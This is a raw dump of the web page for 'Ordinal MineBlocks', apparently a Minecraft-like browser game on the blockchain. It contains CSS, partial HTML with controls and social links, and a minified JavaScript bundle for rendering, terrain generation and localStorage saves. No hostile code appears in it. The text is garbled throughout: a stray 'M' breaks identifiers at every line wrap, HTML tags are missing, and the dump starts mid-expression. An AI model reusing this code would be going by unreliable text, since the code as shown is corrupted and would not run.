)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
